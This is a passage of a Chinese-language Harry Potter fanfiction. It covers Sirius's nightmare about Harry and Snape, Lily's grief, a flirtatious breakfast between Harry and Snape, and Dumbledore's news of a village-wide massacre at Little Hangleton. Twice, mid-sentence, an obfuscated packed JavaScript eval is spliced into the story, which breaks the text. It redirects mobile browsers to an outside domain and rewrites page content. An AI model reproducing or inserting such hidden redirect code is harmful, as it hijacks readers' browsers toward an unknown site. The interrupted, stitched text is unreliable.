斯内普踮起脚尖——为什么他要踮脚尖?哈利有那么高吗?他们不是差不多高吗?不不不不对,重点是斯内普为什么要踮脚尖? 接着,在小天狼星呆若木鸡的注视下,斯内普凑上前,和哈利交换了一个轻柔但无疑亲昵至极的吻。 阿不思·邓布利多不知何时站到了两人身旁。他举起双手,笑容满面地开口:“先生们,女士们,让我们共同见证,哈利·佩弗利尔与西弗勒斯·斯内普先生的神圣结合——” “不——!” 小天狼星猛地从床上弹坐起来,大口大口地喘着粗气。他的额头和后背一片冰凉,全是冷汗。窗外的天色仅是一抹将破未破的灰蓝,房间里还很昏暗。 他坐在床边,双手撑着膝盖,盯着地板好一阵,直到呼吸平稳下来。他抬手抹了把脸,指尖在额头上狠狠按了几下,想把那个荒唐的梦境挤出脑海。 “该死的。”小天狼星低声咒骂,翻身下床,走到了窗边。天还没完全亮,但他已经睡意全无。那梦太真实了——哈利眼中的笑意,斯内普那诡异的温柔,还有那个吻,到现在还在他脑中翻来覆去,清晰得让他头皮发麻。 小天狼星忍不住打了个寒噤。 不,不可能!他用力甩了甩头,可又控制不住地想起了决斗俱乐部启动仪式的那天,斯内普确实频频看向哈利,那种眼神……小天狼星当时就觉得不对劲,只是被其他事情分了心。现在被这个噩梦一搅和,那些被忽略的细节瞬间变得无比扎眼。 不,别再瞎想了!小天狼星·布莱克! 他唾弃了一把自己不着边际的胡思乱想,索性披上晨袍,推门走出卧室。他本想去厨房找点火焰威士忌压压惊,却在经过起居室时停下了脚步。 卢平已经坐在那里,手里捧着一杯热茶,神情有些疲惫。 “月亮脸,你也没睡好?”小天狼星在他对面坐下。 卢平点点头,抿了一口茶:“睡得不太踏实。”他抬头打量小天狼星,眉头微皱,“你看起来糟透了,做噩梦了吗?” “别提了。”小天狼星揉着太阳穴,“我梦见了一些……完全不靠谱的事。” 卢平没追问,只是起身走进厨房。不一会儿,他端着一杯热茶回来,递了过去。小天狼星接过茶杯,捧在手里。两人沉默地喝了一会儿,这是他们多年友谊中培养出的默契——有些事情,给对方一点时间就会自己说出来。 果然,没过多久,小天狼星就忍不住开口了,但说的却不是他的那个梦,“昨天的事……真是一团糟。” 他靠进沙发里,整个人像是被抽空了力气,“我到现在都不敢相信我们真的把一切都告诉了莉莉。” 卢平轻叹一声:“总要面对的。瞒着她也不是办法。” “我知道,我知道。”小天狼星烦躁地抓了抓头发,“可你看莉莉当时的样子,月亮脸。她就那么看着我们,眼泪掉个不停,但一句话都不说。比她冲我大喊大叫还让人难受。” “她需要时间消化。”卢平的语气很温和,“这真相对她来说太沉重了。” “说实话,我都没见过她对詹姆斯发那么大的火。”小天狼星发出一声苦笑,“那时候你不在,梅林啊,她气成那个样,我真的以为她会抽出魔杖诅咒詹姆斯。” 卢平沉默地听着,目光落在茶杯上,低声道:“她是在怪自己。” 这句话让小天狼星陷入了沉默。昨天的画面不断涌上脑海——莉莉得知真相后的崩溃,那种深入骨髓的自责,还有她一遍遍的自问:为什么没有早点发现?为什么没有多问一句?为什么让哈利一个人承受这么多? “她居然问哈利会不会恨她!”小天狼星一口喝干杯里的茶,整个人糟心透了,“你也看到詹姆斯那副样子,已经指望不上他了。多亏你和泰迪拦着她,我真怕她就这么冲去霍格沃兹,万一被什么人看到——” “我没做什么。是泰迪的功劳。”说到自己的儿子,卢平表情柔和了一些,“那孩子真的很特别。” 小天狼星嗯了一声。昨天的场面确实一度失控。詹姆斯蜷缩在角落里一声不吭,莉莉的情绪在愤怒和自责之间摇摆,眼泪怎么都止不住。小天狼星手足无措,只能先把莉莉劝回来,又把卢平叫回来当救兵。可面对瞒着她这么久的三个人,莉莉完全是不信任的态度。 就在所有人都不知道该怎么办的时候,解救了这个局面的,是泰迪。 那孩子走到莉莉的面前,轻轻碰了碰她的手,在莉莉惊讶的注视下,坚定地告诉她,哈利是绝对不会怪他们的,他一直以自己的父母为傲——这是哈利无数次告诉他的。 接着,他歪头笑了笑:“悄悄告诉您一个秘密。我有一种特殊的能力,能感知别人的灵魂。” 莉莉愣住了。 “每当我碰到哈利的时候,”泰迪轻声说,“都能感受到一种特别温暖的光。尤其是当他提到他父母的时候,那种光会变得更加明亮。" 他抬起头,认真地看着莉莉:“我不知道怎么形容,但那种感觉就像太阳一样温暖。他从来没有怨恨过任何人,他只是……一直很想念你们。” 小天狼星形容不出自己听到这些话时是什么心情,只是记得莉莉当时一把抱住泰迪,眼泪止不住地淌下来。詹姆斯缩在角落,把脸深深埋在手里,肩膀抖得像是撑不住自己。 最后,莉莉同意先回家,可她和詹姆斯却陷入了冷战。她抱着黛西,全程没看詹姆斯一眼。 “那孩子的确特别。”小天狼星回过神来,“能通过接触感知别人的灵魂……这种能力,我从来没听说过。” 卢平却苦笑一下,“我倒宁愿他就是个普通的孩子。哈利和我提过,他这个能力是回到这个时空后才出现的。我很担心会对他的身体有什么影响。” “你就是想太多,那孩子看着很健康,又有天赋,这不是好事吗?不管怎么说,多亏了他。”小天狼星揉了揉脸,“否则我真不知道该怎么收场。” “其实我能理解詹姆斯的痛苦,不能全怪他。”卢平说,“毕竟只有他是亲眼看着——” “不,莱姆斯,你不明白。”小天狼星突然站起来,在房间里焦躁地踱步,“我们都知道尖头叉子不好受,可哈利呢?我们有谁真正想过哈利的感受吗?” 卢平抬起头,有些惊讶地看着他。 “昨天他走的时候,”小天狼星停下脚步,话语间满是懊悔,“我还傻乎乎地以为他真的是忙决斗俱乐部的事。梅林啊,我怎么能这么迟钝?他的脸色那么差,可我居然只是拍拍他的肩膀,叫他放心。” “我们都没注意到。”卢平垂下眼,“现在想想,他说是去处理工作,多半是借口。看到詹姆斯那样回避他,莉莉又完全不知情,他心里肯定不好受。”他的脸上流露出愧疚的神色,似乎在懊恼自己明明是几人中比较敏锐的那个,却完全没有察觉到哈利的不对劲。 小天狼星突然激动起来,用力捶了一下自己的额头,“我真是个混蛋!他会不会觉得我这个教父当得一塌糊涂?在他最需要我的时候,我却像个瞎子、聋子一样!满脑子都是詹姆斯那混蛋的情绪!” “大脚板——” “还有黛西的事!”小天狼星打断他,声音越来越急,“我一直瞒着他……梅林啊,他肯定觉得我不信任他,把他当外人,才一个人跑回霍格沃兹。他肯定觉得我们都……” “别这么说自己!”卢平站起身,上前几步按住他的肩膀,“他知道你有多在乎他。黛西这事上你确实做得不对,我知道你是怕他心里难受,可你要是早点告诉他,还能比现在更糟吗?” 小天狼星不吭声了,肩膀在卢平手下僵硬地绷着。 “冷静点,自责解决不了问题。”卢平按着他坐回沙发,“哈利知道你关心他,会理解的。只是大家都需要时间。昨天的事对每个人来说都太沉重了。给彼此一点空间,等情绪平复了,再好好谈谈。” 小天狼星盯着地板,整个人都显得沮丧不已。卢平盯着他看了一会儿。 “不过,你一大早就心神不宁,不只是因为这个吧?” 小天狼星不自在地动了动。 “是那个噩梦?”卢平的观察力一如既往地敏锐。 小天狼星感觉耳朵在发烧。他犹豫再三,才支支吾吾地说:“月亮脸,如果我告诉你梦的内容,你保证不笑我?” “我保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小天狼星冷笑一声:“信任?像他主动给你改良狼毒药剂的那种信任?换成以前,就算中了夺魂咒,斯内普也不会干这种事!还有上次任务,哈利一出事,他立刻用黑魔标记联系,知道人在我这儿,来得比谁都快。这像是普通同事或合作关系吗?这像是我们认识的斯内普吗?” 卢平沉默了。他不得不承认,斯内普近来的不少举动确实完全不符合他的行事风格。 小天狼星又开始像困兽一样在房间里转圈,“那种眼神可不是单纯的信任能解释的!我告诉你,那个鼻涕精肯定对哈利图谋不轨!” “小天狼星,你能不能理智一点。”卢平无奈地说,“就算你的猜测有一部分是对的,斯内普对哈利确实有某种……特殊的感情。那也不意味着会发展到你梦里那种程度吧?说不定就是比较亲近的朋友?” 他试图让气氛轻松一些:“你好好想想,哈利和斯内普?我宁愿相信邓布利多宣布明天要结婚,对象是格林德沃。你不要再转圈了,还有,说话小声点,别吵醒泰迪。” 但小天狼星没有被安慰到。相反,他的表情更加凝重了。 “哈利太容易相信人了!”小天狼星压低嗓音,但那咬牙切齿的语气和吼出来没什么差别,“尤其是斯内普这种会伪装的混蛋!” “我必须做点什么。”他突然说,转身就要去拿外袍。 “等等!”卢平连忙拉住他,“你要去哪儿?” “霍格沃兹!”小天狼星的眼中燃烧着决心,“我得去把他带回来,告诉他莉莉已经知道了真相。还要警告他小心斯内普——” “冷静点!”卢平用力拉住他,“你不能带着这么可笑的梦去找哈利,这只会让事情变得更糟!而且你也不看看现在才几点,天都没亮!” 小天狼星不情不愿地留了下来,打定主意上午无论如何都得去霍格沃兹一趟。 可他到底是没去成。他们吃完早餐没多久,一道银光划过房间。邓布利多的凤凰守护神出现在半空中:“紧急情况。请立刻到睿瓦纳之塔集合。务必尽快。” 守护神说完便化作点点银光消散了。小天狼星和莱姆斯面面相觑,都从对方眼中看到了震惊——自从一年前的首次集合后,凤凰社从未有过如此紧急的全体动员。 几乎同时,壁炉里突然蹿起翠绿色的火焰。詹姆斯·波特的脸从中浮现,表情异常严肃。 “小天狼星!魔法部紧急召回所有休假及非执勤傲罗!立刻回总部!出大事了!” “什么事?”小天狼星立刻冲到壁炉前,“我们刚收到邓布利多的消息——” “我知道。”詹姆斯打断他,“我已经和邓布利多通过气了。他认为这可能是同一件事。你先来魔法部,我们需要所有人手!” “那凤凰社——” “邓布利多说让我们先全力处理魔法部的紧急情况。”詹姆斯语速飞快,“之后再向他汇报。快点,金斯莱已经到了!” “莉莉呢?”小天狼星突然想到什么,“她会去凤凰社的会议吗?” 提到妻子,詹姆斯的表情满是复杂和担忧:“她坚持要去。不管我怎么劝都没用。”他艰难地说,“她说她必须去,因为他……也会在那里。” 小天狼星默然。 “黛西怎么办?”卢平轻声问。 “她说会把黛西带上……”詹姆斯的声音充满疲惫,“月亮脸,只能麻烦你多费心了。” 卢平点点头,“放心,我会照顾好莉莉和黛西的。” 詹姆斯的脸从火焰中消失。小天狼星和卢平交换了一个凝重的眼神。 “看来真的出大事了。”卢平说,“我去叫泰迪,然后去莉莉那边,和她一起出发。” 小天狼星披上巫师袍,“我和詹姆斯办完事就马上赶过去。该死,偏偏是这个时候。我本来还想——” “先处理眼前的事,哈利的事之后再说。”卢平在他准备幻影移形时说道,“小心点。” “你也是。”小天狼星深深看了好友一眼,“保护好他们。” 104. 无声的警钟(中) 哈利和斯内普到礼堂的时候,里面还没有几个人。四大学院的长桌旁,只有几个早起的学生散坐着,低头翻着书,大概是急着在早餐前再温习一遍功课。 两人并肩在教工长桌旁坐下。距离恰到好处,又危险得要命——他们的手肘若有似无地接触着,在桌下,膝盖也几乎要碰到一起。哈利几乎屏住呼吸,表面强装镇定,心脏却不争气地加速跳动。 “其他教授都去哪了?”他清了清嗓子,目光在空荡荡的教工席位上扫过,“米勒娃呢?她应该也住在学校才对。” 斯内普正往杯里倒红茶,手指捏着壶柄,动作不紧不慢。他头也没抬,语气平淡:“米勒娃昨天去了霍格莫德,应该是去见她的侄辈们。菲力乌斯在校,但多半窝在办公室钻研咒语,不到最后一刻是不会露面的。至于波莫娜……”他顿了一下,似乎在回忆,“她在温室里摆弄那些稀有植物,复活节假期对她来说,正是伺候那些娇贵玩意儿的好时候。” 哈利暗自松了口气,同时自在了不少。教工席上只有他们两个,这让他既忐忑又雀跃。空旷的长桌放大了他们的存在,像是舞台上的主角——尽管那些埋头苦读的学生压根没往这边瞧。 他拿起一块烤面包,心不在焉地涂抹着黄油,脑子里却不受控制地回放着昨晚地窖里发生的一切——斯内普掌心的热度,他胸膛起伏的节奏,还有那些在黑暗中交换的秘密…… “假期头几天……”哈利开了口,嗓子有些干哑。他得说点什么,打破这令人心悸的寂静,“我和泰迪在小天狼星那儿过得挺开心的。” “我总算明白他为什么老爱骑那摩托了,确实很带劲。”他接着说,语气渐渐自如,“他还带我们去了仙女谷,那边景色很美,看到了不少神奇动物,泰迪玩疯了。对了,给你的泉水就是从那边——”话到一半,他忽然止住了话头,昨晚那些令人脸红心跳的画面又不请自来,让他的脸颊不由自主地热了几分。 他偷偷瞥了斯内普一眼。魔药教授正端起茶杯,动作比平时慢了半拍。当他终于开口时,每个字都透着小心翼翼的斟酌:“听起来,你的假期过得……颇为充实。” 这话听起来平淡无奇,可那谨慎的语调,还有他无意间舔了舔嘴唇的动作,都让空气都变得黏稠起来。哈利盯着那舌尖一闪而过的瞬间,呼吸不由急促了几分。 接下来的时间变得模糊而漫长,他们各自安静地享用着早餐。哈利伸手去拿烤肠,却发现盘子里已经摆好了两根——他惯常的分量。 他惊讶地抬头,正撞上斯内普飞快移开的目光,那耳尖上的一抹红晕暴露了他的心思。 哈利垂下眼,嘴角不自觉上扬。他想起两个月前,斯内普还对他避之不及,哪怕被迫坐在一起也满脸嫌弃。可如今,这个别扭的男人居然会默默留意他的饮食习惯。 等等。哈利突然意识到什么。如果斯内普连他的饮食习惯都摸得这么清楚,那说不定他早就开始关注自己了。也许从很久以前就有了,比如情人节那天——不然他怎么可能比自己还先注意到那些贺卡? 想到这里,他忍不住朝斯内普露出一个真心的笑容。对方立刻像被烫到一样,把全部注意力埋进盘子里,仿佛那几片煎蛋和培根真藏着什么天大的秘密。 哈利咬了一口烤肠,脑子里开始盘算起来:复活节假期还有几天,马上就回峡谷之屋的话还有点尴尬——虽然昨晚那些压抑的情绪已经宣泄得差不多了,可他一点儿也不急着走。更重要的是,他现在完全不想离开斯内普。 他暗自琢磨,要不要再找个像样的理由留下。哦,其实根本不用理由,直接赖在斯内普的办公室不走怎么样?实在不行去他自己的办公室也行。教工休息室里人来人往的,最好还是在他们各自的办公室消磨时间…… 哈利满脑子那些轻飘飘的想法,一想到未来几天的各种可能,心头便是一阵轻快的期待。 渐渐地,礼堂里涌进了更多学生,笑声和交谈声逐渐填满了空间。可对哈利而言,这些喧嚣不过是遥远的杂音——他的注意力已完全集中在身旁这人的每一次呼吸上。 “看来复活节的作业压得大家喘不过气。”哈利主动挑起话头,“留校的学生比我预想的要多。” “不是每个人都有个热情得快把人淹死的教父,提供度假胜地。”斯内普终于从盘子里抬起头,语气恢复了惯常的尖刻。 哈利敏锐地捕捉到了言外之意。他意识到自己正逐渐学会解读斯内普语言中的细微差别——那些藏在刻薄表象下的真实情感。 他略一思索,决定有些话还是得趁现在说:“西弗勒斯。” 哈利的声音很轻,轻到快被周围的嘈杂声淹没。但他知道斯内普听到了,因为那双黑眼睛立刻转向了他。 “昨晚……”哈利舔了舔嘴唇,那些想说的话在舌尖打转,“谢谢你。谢谢你听我说了那么多。谢谢你的……” 他停顿了一下,搜寻着合适的字眼。倾听?安慰?还是…… “……陪伴。” 这个词在两人之间显得过于柔软,过于私密。斯内普的耳尖迅速泛起淡淡的红色。 “还有那瓶威士忌,”哈利赶紧补充,“口感很不错。” 斯内普的嘴角微动——哈利敢打赌,那几乎算是一个微笑的雏形。 “我倒是觉得,”斯内普语气一贯的嘲讽,但眼神却柔和得出卖了他,“你更应该为昨晚糟糕的酒品道歉。” “糟糕的酒品?”哈利挑起一边眉毛,语气里带着笑意。 “还有那些……”斯内普的嗓音压得更低,“极其缺乏自制力的格兰芬多式冲动。” 一提起昨晚的“冲动”,两人之间的空气仿佛热了几度。 哈利感觉脸颊在发烫,但他没有退缩,反而挑衅地咧嘴一笑,“为什么?我不觉得那是冲动。而且——”他向前倾了倾身子,“斯莱特林院长也挺热情的,不是吗?” 斯内普发出一声含混不清的闷哼声,耳根瞬间红得更深了。 哈利心中涌起一阵恶作剧般的快意—— 他还想再逗几句,想看到斯内普更多“失控”的模样,想看他为自己卸下那层冷漠的伪装,想…… 哈利强行打断了这个危险的念头。 可他还是没忍住,在桌下用膝盖轻轻碰了碰斯内普的。这个小动作带来的反应是立竿见影的——斯内普的身体立刻僵住。 “难道你对昨晚有不同的意见吗?”哈利压低声音,继续得寸进尺,“没睡好?” 这个问题显然戳中了要害。斯内普的呼吸明显一滞,侧头瞥了他一眼,“任何一个正常人,恐怕都很难在一个霸占了自己大半张床、还会说梦话的家伙旁边,得到什么像样的睡眠。” “我睡相很好,也不说梦话!”哈利立马反驳,但笑意已经爬上嘴角。 “哦?”斯内普微微侧过头,晨光恰好勾勒出他的侧脸轮廓,“那大概是我的错觉。毕竟,我一整晚都在——”他突然住了口,仿佛意识到自己差点说出什么不该说的话,立刻又低下头,用叉子戳着盘子里的番茄。 但已经太晚了——那个未完成的句子悬在两人之间,充满了暗示。 一整晚都在做什么? 哈利的想象力不受控制地飞驰。一整晚……都在看着他睡觉吗? 他的心脏疯狂跳动,这种紧张的沉默持续了几秒,就在即将达到顶点时,周围传来了窃窃私语声。 “……佩弗利尔教授今天看起来格外精神呢……” “……斯内普教授也是,你看他耳朵都……” “……他们俩坐得好近……” “……他们在聊什么……” 细碎的议论声越来越多。哈利一惊,环顾四周才发现礼堂已坐满大半,不少学生——特别是高年级的女生——正朝这边偷瞄,眼神里满是八卦的火花。 梅林啊。哈利暗骂一句,他可不想和斯内普一起成为霍格沃兹的八卦头条。想象着那些荒唐的流言——“独家爆料!黑魔法防御术教授与魔药教授的秘密恋情!”——他就觉得头皮发麻。 他不动声色地抽出魔杖,在桌下快速施了一个闭耳塞听咒,隔绝了那些好奇的耳朵。 “现在好了。”他对斯内普眨眨眼,露出一个顽皮的笑,“我们可以继续讲‘悄悄话’了。” 斯内普却转过头,用一种带着几分探究和困惑的奇异目光看着他。 “怎么了?”哈利被他看得有些莫名其妙。 斯内普张开嘴,似乎想说什么。但就在这时—— 一只羊皮纸折成的纸鹤轻盈地扇动着翅膀,精准无误地落在哈利和斯内普之间的餐桌上。 纸鹤自动展开,露出了邓布利多那熟悉的花体字迹:“请两位立即到校长办公室一趟。事态紧急。——A·邓布利多。” 两人对视一眼,瞬间意识到事情非同小可。邓布利多很少用这样的措辞,除非—— 他们同时站起身,早餐时的轻松气氛烟消云散。 “走吧。”斯内普说。 ———————— 石像缓缓转动,露出通往校长办公室的螺旋楼梯。哈利紧随斯内普身后,步入那间熟悉的房间。 邓布利多正站在窗边,手指捏着一颗鲜红的浆果,喂给栖在架子上的福克斯。凤凰发出一声轻快的鸣叫,随即歪头打量着这对访客。 “啊,哈利,西弗勒斯,你们来了。”邓布利多转过身,脸上没有往日的轻松笑容。 “校长。”斯内普微微颔首,语气一如既往地克制。 “阿不思,出什么事了?”哈利站在他身旁,直截了当地问。 邓布利多没有立刻回应。他那双湛蓝的眼睛在半月形镜片后微微眯起,目光在两人身上停留的时间比平时更长,似乎在审视什么。 “哈利,西弗勒斯,”他嘴角浮现一抹意味深长的微笑,“抱歉打断了你们的早餐。我注意到,你们今天的气色……似乎都与往日有些不同。复活节的假期,看来确实能让人身心焕然一新,不是吗?” 这个微妙的停顿让哈利的耳朵又开始发热。他尴尬地动了动,总觉得眼前的老人似乎洞察了一切。 邓布利多好像没有察觉到哈利的局促,“我很高兴看到你们找到了一种新的——”他斟酌着词语,声音里带上一丝愉悦,“‘联结’。这很好,真的很好。在即将到来的黑暗面前,任何形式的联结都弥足珍贵。” 他走近几步,蓝眼睛里的笑意加深:“尤其是你,西弗勒斯。能够放下过去,拥抱新的可能性——这需要极大的勇气。我由衷为你感到高兴。” 斯内普的下巴微微收紧,喉结上下滑动了一下。有那么一瞬间,他的表情变得极其复杂——像是想要反驳,又像是想要逃离,最终只是僵硬地点了点头。 邓布利多又转向哈利,眼神变得更加柔和:“而你,哈利,你的心始终知道该去往何处。这是你最珍贵的品质之一。” “阿不思——”哈利想说些什么,但邓布利多温和地抬手示意他稍等。 “我相信,这份新建立的纽带,不仅会照亮一些原本晦暗的道路,更会在未来的黑暗中,让你们成为彼此最坚定的依靠。” 他的语气逐渐郑重:“毕竟,爱——无论以何种形式存在——始终是抵御黑暗最强大的力量。” 爱。 哈利的心脏猛地一跳。他不敢深究这个词对他们意味着什么,不敢轻易定义昨夜发生的一切。然而邓布利多却如此坦然地说出口,仿佛那是再自然不过的事。 这种温馨的氛围没有持续多久。邓布利多很快收起笑容,表情转为凝重:“不过,我召你们来,是有更紧急的事要商议。” 他示意两人坐下,自己回到宽大的办公桌后坐下,十指交叉搁在桌上,目光锐利地扫过两人。 “哈利,西弗勒斯,”邓布利多开口,“最近这段时间,你们是否一直没有收到来自伏地魔的任何召唤或是消息?” 哈利和斯内普对视一眼,都从对方眼中看到了同样的担忧。 “我一直在担心这个。”哈利坦白道,“自从冈特老宅那次任务之后,他就没有召集过我们。我总觉得有些不对劲。我们当时,是不是暴露了什么?那天西弗勒斯擅自动用黑魔标记联系我,不可能瞒过伏地魔。可他却没有任何反应。” 斯内普眉头紧皱:“我借探访卢修斯·马尔福的名义去过几次马尔福庄园。黑魔王不在那里,纳西莎·马尔福对此更是一无所知。” “确实不同寻常。”邓布利多十指轻轻相抵,“汤姆不是会轻易放过背叛的人。除非……” “除非他在忙着更重要的事。”哈利接话道。 邓布利多沉默了很长时间,脸色愈发凝重。 “阿不思,别再绕圈子了,到底发生了什么?”斯内普皱眉问道。 邓布利多缓缓开口,“不幸的是,你们的直觉没错。就在复活节当天,小汉格顿村发生了一场令人震惊的惨案。” 小汉格顿。 一股寒意从哈利的脊背窜起,直冲头顶。他两个月前刚刚去过那里,为了寻找冈特家的戒指。那片阴郁的小村庄,那些对陌生人满怀戒备的村民,还有山坡上那座破败的老宅…… “整个村子,”邓布利多沉声道,“所有居民,在同一天,以极不寻常的方式集体死亡。” “什么?”哈利和斯内普同时倒吸一口凉气。——整个村子?那可是几百条生命! “村民们似乎在极度疯狂中互相攻击,最终导致了彻底的毁灭。”邓布利多继续说,“没有幸存者。魔法部收到消息时,那里已成一片死地。那种景象—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156442|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他没有说完,但哈利已经能想象那个地狱般的场景。 “黑魔法。”斯内普立刻断言,语气中夹杂着一丝惊惧,“什么样的黑魔法能造成这种后果?” 邓布利多摇了摇头,“魔法部派了傲罗们去调查。但从我目前得到的情报来看,现场确实有黑魔法的痕迹,但微弱得几乎难以察觉。如果不是因为死亡人数太多,恐怕根本不会引起注意。” “而且,”他的声音压得更低,“这种魔法的形式前所未见,不属于任何已知的黑魔法体系。” 哈利感到一股阴冷的颤栗从心底升起。“是他。”他嘶哑着说,“是伏地魔。” “毫无疑问。”邓布利多点头,“这种对生命的漠视,这种残忍的杀戮……都带着汤姆·里德尔独特的印记。那枚戒指,恐怕也已经被他取走了。” “可为什么是小汉格顿?”哈利努力理清混乱的思绪,“他蛰伏了十几年,为什么突然选中这样一个麻瓜村庄?那里不是他的——?如果只是为了取回戒指,根本不需要……” 他突然问道:“现场有黑魔标记吗?他是想宣告自己的回归?” “没有。”邓布利多摇了摇头,“没有黑魔标记,没有任何能够直接指向他的证据。如果不是我了解他的行事方式,别说魔法部,恐怕没人会往这个方向想。” “他可能并非为了宣示什么。”斯内普突然开口,脸色变得异常苍白,“而是为了完成……某种仪式。” “仪式?”哈利重复道。 “某些古老的黑魔法,”斯内普眯起眼睛,“确实需要大规模的生命作为代价。血祭,灵魂收割,或者……” “灵魂重铸。”邓布利多接过话头。 哈利和斯内普的目光齐齐转向他。他们都知道,伏地魔一直在钻研这个——如何将分散在魂器中的灵魂碎片重新融合,恢复完整。而现在看来,他或许已经找到方法。 “可他还没有收集齐——”哈利皱起眉头,他没有明说是什么,但在场的两人立刻心领神会,“我的意思是,真正的挂坠盒还在我们手里,对吧?” 突然,他整个人僵住了,眼睛瞪大,仿佛被某个恐怖的念头击中。 “不对。”他喃喃自语。 但下一刻,他猛地大喊一声,整个人从椅子上弹了起来,“我错了!” 斯内普担忧地注视着他,伸手抓住他的胳膊:“哈利?” “不,我没事,西弗勒斯。”哈利挣脱他的手,开始在办公室里急促地来回走,“让我想想……让我想想……” 他的步伐越来越快,仿佛要用这种方式理清脑中的混乱。邓布利多和斯内普都静静地注视着他。 终于,哈利停下脚步,缓缓转向邓布利多。他的脸色苍白得吓人,绿眼睛里满是自责和恐惧: “我犯了一个致命的错误,阿不思。” 邓布利多用眼神示意他继续。 哈利深吸一口气,努力整理自己的语言:“我一直在用我那个世界的经验来判断这个世界的伏地魔。我明明知道他不同,知道他获得了不一样的信息,可我还是……” 他烦躁地抓乱了自己的头发,懊恼地说,“我总是下意识地假设他会走相同的路——暗中搜寻魂器,召集食死徒,积蓄力量,然后在一切准备就绪时高调回归。就像我记忆中的那样。” “但这不失为一种合理的推测。”邓布利多平静地说。 “不,你不明白!”哈利陡然激动起来,“我忽略了最关键的区别!我那个世界的伏地魔潜伏了十多年,是因为他别无选择!” 他开始快速地解释:“我告诉过你们,他试图杀死婴儿时期的我,但杀戮咒被我母亲的保护魔法反弹。他的身体被摧毁,灵魂虚弱到只能依附在别人身上苟延残喘,整整花了十几年才勉强恢复□□。” 斯内普和邓布利多都全神贯注地听着。 “可这个世界的伏地魔完全不同!”哈利几乎是在吼叫,“他是主动选择消失的!他没有受伤,没有虚弱,他的力量完好无损!这就引出了一个问题——” 他的眼睛瞪得更大,声音微微颤抖:“一个拥有全部力量的黑魔王,为什么要隐匿十几年?为什么要放弃唾手可得的权力?为什么要让整个世界以为他已经消失?” 房间里突然静了下来。 “除非……”斯内普也反应了过来,脸刷的一下变白了,“他在躲避什么。” 邓布利多的眼睛在镜片后闪过一丝锐利的光芒:“你有什么猜测吗,哈利?” “预言。”哈利转向他们,“是预言!伏地魔是个极度迷信预言的人。他会因为一个预言去追杀婴儿,那么他也完全可能因为预言而选择退避!毕竟,他看到了那个未来!” “你是说……”邓布利多微微眯眼。 “他知道预言的内容。”哈利语速加快,“通过那些未来的记忆碎片,他得知了如果试图杀害哈利·波特会发生什么。所以他选择了完全相反的策略——彻底消失,避免与哈利·波特有任何交集。” “他害怕预言会以其他方式应验。”斯内普的脸色更加苍白,“宁可放弃一切,也要确保不触发预言的条件。黑魔王……确实是个极度谨慎的人。” “这就解释了一切!”哈利激动地在原地转了个圈,“为什么他要隐藏行踪,为什么他一直在钻研新的黑魔法,为什么他对魂器的事不急不慢——” “那他为什么突然毫无顾忌地现身了?”邓布利多问道,尽管他似乎已经猜到了答案。 哈利停下脚步,直视着他们。斯内普的脸上已毫无血色,他直愣愣地盯着哈利,黑眼睛里满是深切的恐惧:“因为他发现,哈利·波特已经死了。预言的威胁不复存在,他终于可以……” “为所欲为。”哈利苦涩地接完这句话。 办公室里陷入了令人窒息的沉默。墙上的历任校长画像都不再假寐,而是严肃地注视着他们。 就连一向沉稳的邓布利多也流露出深深的疲惫。他缓缓起身,走到窗边,凝视远处的禁林,苍老的背影透出几分萧索。 “没有预言这把悬顶之剑的威胁,”他的声音低沉而沉重,”汤姆终于能毫无顾忌地展露真正的野心了。不管他这次的真实目的是什么,小汉格顿的事件都敲响了最高级别的警钟。” “也许这只是个开始。”哈利感到一股深深的无力,“他可能在试探我们的底线,或者在为更大的阴谋铺路。而我们甚至不知道他到底想干什么。” “无论他真正的目标是什么,我们必须立刻行动。”邓布利多转过身,目光落在哈利身上,蓝眼睛里满是歉意和决心:“我已经向凤凰社的核心成员发出紧急召集令,要求他们即刻前往睿瓦纳之塔集合。哈利,你的塔,恐怕又要成为我们对抗黑暗的前线指挥部了。” 105. 无声的警钟(下) 睿瓦纳之塔的会议厅里,火把一盏接一盏地亮起。哈利身为塔的主人,和斯内普比其他人早到一步,正在检查会议厅的防护魔法。自从这座塔成了凤凰社的指挥部,这里的布置就没变过,家养小精灵多比总是把一切收拾得整整齐齐,但哈利还是习惯性地加强了几道防护咒。 “整个村子……”哈利放下魔杖,低声嘀咕,“他到底想干什么?” “别想太多。”斯内普的声音从他身后传来,“过度的猜测只会让你陷入黑魔王设下的圈套。” 哈利转过身,发现斯内普正站在离他很近的地方。火光在斯内普脸上映出深深的阴影,让他那张脸显得比平时还要严肃。 “你在担心我?”哈利笑了笑,想让语气听起来轻松点。 但斯内普的神情没有因为他的笑而放松下来。他踏近一步,两人之间的距离更近了:“邓布利多没说出口,但我们都很清楚。”他的声音压得很低,“这里的哈利·波特确实死了——” “可我面前还站着一个哈利·波特。预言没有失效。” 哈利的笑容消失了。他的手不自觉地抬起,摸向那道很久没有疼痛的伤疤。自从上次发作后,他和伏地魔的联系就断了。这种突然的沉默本身就是一种警告——伏地魔是不是发现了这种联系? “我知道。”他的手指在伤疤上停留了一会儿,然后放下,“但这又不是什么新鲜事。从我出生那天起,这个该死的预言就像个诅咒一样跟着我。” 他自嘲般地勾了勾嘴角:“别担心,对付伏地魔,可没谁比我更有经验了。毕竟从入学第一年起——” “够了!” 斯内普一把握住他的手臂,力道大得让他倒抽了一口气。 “你还想再犯一次错吗?上次在冈特老宅,你的‘经验’差点要了你的命!哈利·波特!” 他的手指攥得更紧,几乎要在哈利的手臂上留下淤青:“你的自大,你的鲁莽,你那该死的格兰芬多式英雄主义让你差点死在那里!你知不知道我当时——” 